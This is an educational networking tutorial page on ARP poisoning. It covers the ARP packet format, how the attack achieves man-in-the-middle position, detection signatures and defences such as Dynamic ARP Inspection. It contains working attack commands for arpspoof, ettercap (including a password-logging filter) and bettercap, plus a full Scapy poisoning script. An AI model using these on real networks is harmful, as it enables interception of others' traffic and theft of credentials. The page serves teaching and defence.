Loading content...
In the late 1970s, when the Address Resolution Protocol (ARP) was designed, computer networks were small, trusted environments—research labs and universities where everyone knew each other. The idea that someone on the local network would deliberately send false information seemed absurd. Why would a colleague lie about their network address?
Four decades later, this assumption of trust has become one of the most exploited vulnerabilities in network security. ARP poisoning (also called ARP spoofing or ARP cache poisoning) exploits the fundamental lack of authentication in ARP to redirect network traffic through an attacker's machine—achieving the Man-in-the-Middle position that enables all subsequent attacks.
ARP poisoning remains the most common technique for achieving MITM on local networks because it's simple, reliable, works against all operating systems, and most networks have no defenses deployed. Understanding this attack is essential for both offensive security practitioners and network defenders.
This page covers the ARP protocol in detail, how ARP poisoning attacks work at the packet level, the attack tools and their operation, detection techniques and signatures, and comprehensive defense mechanisms including Dynamic ARP Inspection.
To understand ARP poisoning, we must first thoroughly understand how ARP works. ARP operates at Layer 2 (Data Link Layer) and solves a fundamental problem in Ethernet networks.
The Problem ARP Solves:
Ethernet frames are addressed using MAC addresses (48-bit hardware addresses), but applications use IP addresses. When Host A wants to send a packet to Host B at 192.168.1.100, Host A needs to know Host B's MAC address to construct the Ethernet frame.
IP Layer: "Send packet to 192.168.1.100"
↓
╔═══════════════════════════╗
║ ARP: What MAC has ║
║ 192.168.1.100? ║
╚═══════════════════════════╝
↓
Ethernet: Frame to MAC AA:BB:CC:DD:EE:FF
ARP Protocol Operation:
ARP Packet Structure:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Hardware Type | Protocol Type |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Hdr Len | Proto Len | Operation (1=req, 2=reply) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sender Hardware Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sender Hardware Address (cont) | Sender Protocol Addr |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sender Protocol Address (cont) | Target Hardware Addr |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Target Hardware Address (cont) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Target Protocol Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ARP Packet Fields:
| Field | Size | Description |
|---|---|---|
| Hardware Type | 2 bytes | Network type (1 = Ethernet) |
| Protocol Type | 2 bytes | Protocol type (0x0800 = IPv4) |
| Hardware Length | 1 byte | MAC address length (6 for Ethernet) |
| Protocol Length | 1 byte | IP address length (4 for IPv4) |
| Operation | 2 bytes | 1 = Request, 2 = Reply |
| Sender MAC | 6 bytes | Sender's hardware address |
| Sender IP | 4 bytes | Sender's protocol address |
| Target MAC | 6 bytes | Target's hardware address (0 in requests) |
| Target IP | 4 bytes | Target's protocol address |
Notice what's missing from the ARP packet: there's no authentication field, no signature, no verification mechanism. Any host can claim to be any IP address, and other hosts have no way to verify the claim. This design flaw is what makes ARP poisoning possible.
The ARP cache stores IP-to-MAC mappings to avoid repeated ARP requests. Understanding cache behavior is crucial for understanding how poisoning works.
ARP Cache Characteristics:
# View ARP cache on Linux
arp -a
# or
ip neigh show
# Example output:
192.168.1.1 dev eth0 lladdr aa:bb:cc:dd:ee:01 REACHABLE
192.168.1.50 dev eth0 lladdr aa:bb:cc:dd:ee:02 STALE
192.168.1.100 dev eth0 lladdr aa:bb:cc:dd:ee:03 PERMANENT
# Cache entry states:
# REACHABLE - Recently used, confirmed valid
# STALE - Not recently used, may be outdated
# DELAY - Verifying if still reachable
# PERMANENT - Manually configured, never expires
Cache Timeout:
ARP entries don't last forever. Different operating systems use different defaults:
| OS | Default Timeout | Notes |
|---|---|---|
| Windows | 2-10 minutes | Varies by usage pattern |
| Linux | 30-60 seconds (base_reachable_time) | Randomized |
| macOS | 20 minutes | Single timeout value |
| Cisco IOS | 4 hours | Much longer than hosts |
This timeout behavior means attackers must continuously send poisoned entries to maintain the attack.
Gratuitous ARP:
A gratuitous ARP is an ARP announcement that a host sends without being asked. It's an unsolicited ARP reply—or an ARP request where sender IP equals target IP.
Legitimate uses of gratuitous ARP:
Why gratuitous ARP enables attacks:
Normal: Request comes first, then reply
Gratuitous: Reply comes without request
Most operating systems ACCEPT gratuitous ARPs and update their cache!
This is the behavior attackers exploit.
Operating System Behavior with Gratuitous ARP:
| Operating System | Accept Unsolicited? | Update Existing? | Create New? |
|---|---|---|---|
| Windows XP/7/10 | Yes | Yes | No (by default) |
| Linux (default) | Yes | Yes | No |
| macOS | Yes | Yes | No |
| Cisco IOS | Yes | Yes | Configurable |
| BSD variants | Configurable | Configurable | Configurable |
Most OSes only update EXISTING cache entries with gratuitous ARP, not create new ones. This means the target must have already communicated with the impersonated host. In practice, this is rarely a limitation since hosts typically communicate with their gateway—the primary target for poisoning.
Now let's examine exactly how ARP poisoning achieves MITM position. We'll trace through a complete attack scenario.
Attack Scenario:
Network: 192.168.1.0/24
Victim: 192.168.1.100 (MAC: VV:VV:VV:VV:VV:VV)
Gateway: 192.168.1.1 (MAC: GG:GG:GG:GG:GG:GG)
Attacker: 192.168.1.50 (MAC: AA:AA:AA:AA:AA:AA)
Goal: Intercept all internet traffic from Victim
Before the Attack:
Victim's ARP Cache:
192.168.1.1 → GG:GG:GG:GG:GG:GG (Gateway - correct)
Gateway's ARP Cache:
192.168.1.100 → VV:VV:VV:VV:VV:VV (Victim - correct)
Traffic flow:
Victim → Gateway → Internet (normal)
Internet → Gateway → Victim (normal)
After the Attack:
Victim's ARP Cache (POISONED):
192.168.1.1 → AA:AA:AA:AA:AA:AA (Points to Attacker!)
Gateway's ARP Cache (POISONED):
192.168.1.100 → AA:AA:AA:AA:AA:AA (Points to Attacker!)
Traffic flow:
Victim → Attacker → Gateway → Internet
Internet → Gateway → Attacker → Victim
Attacker sees EVERYTHING!
Critical Attacker Requirements:
1. Enable IP Forwarding:
# Without forwarding, traffic dies at attacker's machine
echo 1 > /proc/sys/net/ipv4/ip_forward
# Or permanently in /etc/sysctl.conf:
net.ipv4.ip_forward = 1
2. Continuous Poisoning:
# ARP entries expire, so attacker must continuously poison
# Typical interval: every 2-30 seconds
while true; do
send_arp_reply victim_ip gateway_mac attacker_mac
send_arp_reply gateway_ip victim_mac attacker_mac
sleep 5
done
3. Avoid Detection:
# Don't create obvious traffic anomalies
# Forward traffic promptly (avoid latency)
# Match expected traffic patterns
Several tools automate ARP poisoning attacks. Understanding their operation helps both attackers (penetration testers) and defenders.
arpspoof (dsniff suite):
The classic, simple ARP spoofing tool:
# Install on Debian/Ubuntu
apt install dsniff
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Tell victim that attacker is the gateway
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 &
# Tell gateway that attacker is the victim
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 &
# Now intercept traffic with tcpdump, mitmproxy, etc.
tcpdump -i eth0 -w capture.pcap
Ettercap:
Full-featured MITM suite with GUI and plugins:
1234567891011121314151617181920212223
# Ettercap command-line syntax # Text mode, unified sniffing, ARP poisoningettercap -T -i eth0 -M arp:remote /192.168.1.100// /192.168.1.1// # Options explained:# -T Text mode (vs -G for graphical)# -i eth0 Interface to use# -M arp:remote MITM mode using ARP poisoning# /target1// First target (victim)# /target2// Second target (gateway) # Advanced usage with filters:# Create filter to replace textetterfilter filter.ecf -o filter.efettercap -T -i eth0 -F filter.ef -M arp /victim// /gateway// # Filter example (filter.ecf):# if (ip.proto == TCP && tcp.dst == 80) {# if (search(DATA.data, "password")) {# log(DATA.data, "/tmp/passwords.log");# }# }Bettercap:
Modern, actively maintained MITM framework:
# Install bettercap
apt install bettercap
# Interactive mode
bettercap -iface eth0
# Enable network discovery
» net.probe on
# Set ARP spoof targets
» set arp.spoof.targets 192.168.1.100
# Start ARP spoofing
» arp.spoof on
# Enable net.sniff for traffic capture
» net.sniff on
# Or use caplets (scripts) for automation
bettercap -iface eth0 -caplet mitm.cap
Scapy (Python):
For custom implementations and learning:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
#!/usr/bin/env python3"""ARP Poisoning implementation with ScapyEducational purposes only - use on authorized networks only!""" from scapy.all import *import timeimport sys def get_mac(ip): """Get MAC address for an IP using ARP""" ans, _ = sr(ARP(pdst=ip), timeout=2, verbose=False) if ans: return ans[0][1].hwsrc return None def poison(target_ip, spoof_ip, target_mac): """Send poisoned ARP reply""" # Create ARP reply # op=2 means ARP reply # pdst = target IP (who receives this packet) # hwdst = target MAC (who receives this packet) # psrc = IP we're impersonating # hwsrc defaults to our MAC (the poisoned mapping) packet = ARP( op=2, # ARP Reply pdst=target_ip, # Target IP hwdst=target_mac, # Target MAC psrc=spoof_ip # IP we're claiming to be ) send(packet, verbose=False) def restore(target_ip, target_mac, real_ip, real_mac): """Restore correct ARP entry""" packet = ARP( op=2, pdst=target_ip, hwdst=target_mac, psrc=real_ip, hwsrc=real_mac ) send(packet, count=5, verbose=False) if __name__ == "__main__": victim_ip = "192.168.1.100" gateway_ip = "192.168.1.1" print("[*] Getting MAC addresses...") victim_mac = get_mac(victim_ip) gateway_mac = get_mac(gateway_ip) print(f"[*] Victim: {victim_ip} -> {victim_mac}") print(f"[*] Gateway: {gateway_ip} -> {gateway_mac}") print("[*] Starting ARP poisoning (Ctrl+C to stop)...") try: while True: # Poison victim: "Gateway is at MY mac" poison(victim_ip, gateway_ip, victim_mac) # Poison gateway: "Victim is at MY mac" poison(gateway_ip, victim_ip, gateway_mac) time.sleep(2) except KeyboardInterrupt: print("[*] Restoring ARP tables...") restore(victim_ip, victim_mac, gateway_ip, gateway_mac) restore(gateway_ip, gateway_mac, victim_ip, victim_mac) print("[*] Done.")ARP poisoning against networks you don't own or have explicit authorization to test is illegal in most jurisdictions under computer crime laws. These tools and techniques are documented for educational purposes and authorized security testing only.
ARP poisoning creates detectable anomalies in network behavior. Detection can occur at the host level, network level, or through dedicated monitoring tools.
Detection Signatures:
| Indicator | Description | Detection Method |
|---|---|---|
| Duplicate MAC | Same MAC claims multiple IPs | ARP table monitoring |
| MAC Flapping | IP rapidly changes MAC association | Switch port statistics |
| Unexpected ARPs | ARP replies without requests | Packet capture analysis |
| High ARP Rate | Abnormal ARP packet volume | Traffic analysis |
| Gateway MAC Change | Critical IP changes MAC | Static ARP comparison |
| Asymmetric Routing | Traffic path differs in/out | Traceroute analysis |
Host-Based Detection:
# Monitor ARP cache changes on Linux
watch -n 1 'arp -a'
# Script to detect ARP changes
#!/bin/bash
GATEWAY_IP="192.168.1.1"
EXPECTED_MAC="aa:bb:cc:dd:ee:ff"
while true; do
CURRENT_MAC=$(arp -a | grep $GATEWAY_IP | awk '{print $4}')
if [ "$CURRENT_MAC" != "$EXPECTED_MAC" ]; then
echo "WARNING: Gateway MAC changed!"
echo "Expected: $EXPECTED_MAC"
echo "Current: $CURRENT_MAC"
fi
sleep 5
done
Arpwatch:
Dedicated ARP monitoring daemon:
# Install arpwatch
apt install arpwatch
# Configure interface
echo 'INTERFACES="eth0"' >> /etc/default/arpwatch
# Start service
systemctl start arpwatch
# View logs
tail -f /var/log/syslog | grep arpwatch
# Example alert:
# arpwatch: flip flop 192.168.1.1 aa:bb:cc:dd:ee:ff (xx:xx:xx:xx:xx:xx)
# arpwatch: changed ethernet address 192.168.1.100 ...
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960
#!/usr/bin/env python3"""ARP Poisoning Detection using ScapyMonitors for common ARP attack indicators""" from scapy.all import *from collections import defaultdictimport time # Track IP to MAC mappingsip_mac_map = {} # Track MAC to IP mappings (for detecting IP theft)mac_ip_map = defaultdict(set) # Track ARP reply counts (for detecting flooding)arp_counts = defaultdict(int) def detect_arp_attack(packet): """Analyze ARP packets for attack signatures""" if ARP in packet: arp = packet[ARP] # Only analyze ARP replies if arp.op == 2: # is-at (ARP reply) src_ip = arp.psrc src_mac = arp.hwsrc # Detection 1: IP changed MAC address if src_ip in ip_mac_map: if ip_mac_map[src_ip] != src_mac: print(f"[ALERT] ARP SPOOFING DETECTED!") print(f" IP {src_ip} changed from " f"{ip_mac_map[src_ip]} to {src_mac}") return True # Update mapping ip_mac_map[src_ip] = src_mac mac_ip_map[src_mac].add(src_ip) # Detection 2: One MAC claiming multiple IPs if len(mac_ip_map[src_mac]) > 1: print(f"[ALERT] MAC {src_mac} claims multiple IPs:") print(f" {mac_ip_map[src_mac]}") return True # Detection 3: ARP flooding arp_counts[src_mac] += 1 if arp_counts[src_mac] > 50: # threshold print(f"[ALERT] ARP flood from {src_mac}") return True return False print("[*] Starting ARP attack detection...")print("[*] Press Ctrl+C to stop") sniff(filter="arp", prn=detect_arp_attack, store=0)Managed switches can detect ARP anomalies through port statistics (MAC flapping), DHCP snooping integration (unauthorized DHCP), and traffic analysis. Enterprise SIEM systems can correlate ARP events with other indicators for higher-confidence detection.
Multiple defense mechanisms exist for ARP poisoning, ranging from simple static entries to sophisticated switch-based inspection. The appropriate defense depends on network size, sensitivity, and infrastructure capabilities.
1. Static ARP Entries:
The simplest defense—manually configure ARP mappings:
# Linux: Add static ARP entry
arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff
# Or using ip command
ip neigh add 192.168.1.1 lladdr aa:bb:cc:dd:ee:ff nud permanent dev eth0
# Windows: Add static ARP entry
arp -s 192.168.1.1 aa-bb-cc-dd-ee-ff
# Windows (newer): Using netsh
netsh interface ipv4 add neighbors "Ethernet" 192.168.1.1 aa-bb-cc-dd-ee-ff
Limitations of static ARP:
2. Dynamic ARP Inspection (DAI):
Switch-based defense that validates ARP packets against DHCP snooping database:
┌─────────────────────────────┐
│ DHCP Snooping Database │
│ │
│ IP: 192.168.1.100 │
│ MAC: AA:BB:CC:DD:EE:FF │
│ Port: Fa0/5 │
│ VLAN: 10 │
└─────────────────────────────┘
▲
│ Validates against
│
ARP Reply ─────────────▶ DAI ─────────────▶ Forward or Drop
"I am 192.168.1.100" │
│
If MAC/IP/Port don't match
binding ────────────▶ DROP + LOG
1234567891011121314151617181920212223242526272829303132
! Complete DAI configuration for Cisco switches ! Step 1: Enable DHCP snooping (required for DAI)ip dhcp snoopingip dhcp snooping vlan 10,20,30 ! Step 2: Configure trusted ports (uplinks, DHCP servers)interface GigabitEthernet0/1 ip dhcp snooping trust ip arp inspection trust ! Step 3: Enable DAI on VLANsip arp inspection vlan 10,20,30 ! Step 4: Configure ARP rate limiting (prevent DoS)ip arp inspection limit rate 100 burst interval 1 ! Step 5: Configure validation (optional, more strict)ip arp inspection validate src-mac dst-mac ip ! Step 6: Log violationsip arp inspection log-buffer entries 1024ip arp inspection log-buffer logs 100 interval 10 ! Verify configurationshow ip dhcp snooping bindingshow ip arp inspection ! Example output when attack detected:! *Mar 1 00:00:00: %SW_DAI-4-DHCP_SNOOPING_DENY: ! 1 Invalid ARPs (Req) on Fa0/10, vlan 10! ([aa:bb:cc:dd:ee:ff/192.168.1.50/aa:bb:cc:dd:ee:ff/192.168.1.1])3. Port Security:
Limits MAC addresses per switch port:
! Cisco port security configuration
interface FastEthernet0/5
switchport mode access
switchport port-security
switchport port-security maximum 2
switchport port-security violation shutdown
switchport port-security mac-address sticky
4. Private VLANs (PVLAN):
Isolates hosts even within the same VLAN—hosts cannot directly communicate:
Promiscuous port ──▶ Can communicate with all
Isolated ports ────▶ Can only communicate with promiscuous
Community ports ───▶ Can communicate with same community + promiscuous
5. 802.1X Network Access Control:
Authenticate devices before network access, blocking unauthorized hosts entirely.
Beyond basic defenses, several advanced considerations affect ARP security architecture.
IPv6 and Neighbor Discovery:
IPv6 replaces ARP with Neighbor Discovery Protocol (NDP), which has similar vulnerabilities. NDP spoofing works analogously to ARP spoofing:
IPv4 ARP ────────▶ IPv6 NDP (Neighbor Discovery)
ARP Spoofing ───▶ NDP Spoofing (Router/Neighbor Advertisement)
DAI ────────────▶ RA Guard, ND Inspection, SEND
Secure Neighbor Discovery (SEND):
SEND adds cryptographic protection to NDP:
Limitation: Rarely deployed due to complexity and compatibility issues.
Encrypted Networks and VPNs:
End-to-end encryption makes ARP poisoning less impactful:
With VPN or TLS:
┌───────────────────┐
Victim ─encrypted─▶ Attacker ─encrypted─▶ │ Can see volume │
(MITM) │ Can see timing │
│ Cannot see data │
└───────────────────┘
However, attackers can still:
Network Segmentation:
Reducing broadcast domain size limits ARP poisoning scope:
┌─────────────────────────────────────────────────┐
│ Enterprise Network │
├──────────────┬───────────────┬─────────────────┤
│ VLAN 10 │ VLAN 20 │ VLAN 30 │
│ Servers │ Workstations │ Guest WiFi │
│ (No guests) │ (DAI enabled)│ (Isolated) │
└──────────────┴───────────────┴─────────────────┘
Attacker on Guest WiFi cannot ARP poison Server VLAN
(different broadcast domain)
No single defense is complete. Effective ARP security combines: network segmentation (limit scope), 802.1X authentication (limit access), DAI (block attacks), monitoring (detect attacks), encryption (limit impact), and user education (report anomalies). Each layer catches what others miss.
Cloud and Virtualized Environments:
Cloud environments often implement ARP protections at the hypervisor level:
| Cloud Provider | ARP Protection |
|---|---|
| AWS | VPC implements source/dest check, no Layer 2 attacks possible |
| Azure | Virtual network ARP handled by fabric, spoofing prevented |
| GCP | VPC networking prevents ARP-level attacks |
| VMware vSphere | Port groups can enable MAC/ARP filtering |
In true cloud environments, traditional ARP poisoning is often impossible because the cloud fabric handles Layer 2 isolation.
ARP poisoning remains one of the most fundamental and widely-used MITM techniques. Let's consolidate the key concepts:
| Defense Layer | Mechanism | Effectiveness | Complexity |
|---|---|---|---|
| Host | Static ARP entries | High for specific IPs | Low scalability |
| Switch | Dynamic ARP Inspection | Very high | Medium config |
| Switch | Port Security | Medium (limits MACs) | Low config |
| Network | VLAN segmentation | Limits scope | Medium planning |
| Network | 802.1X authentication | Blocks unauthorized | High deployment |
| Monitoring | Arpwatch, SIEM | Detection only | Low-medium |
What's Next:
The final page covers Prevention strategies comprehensively—bringing together all the defense mechanisms we've discussed across MITM attack types into a cohesive security architecture.
You now have deep understanding of ARP poisoning—from protocol fundamentals through attack implementation to defense mechanisms. This knowledge is essential for network security, whether you're conducting penetration tests, implementing defenses, or responding to incidents.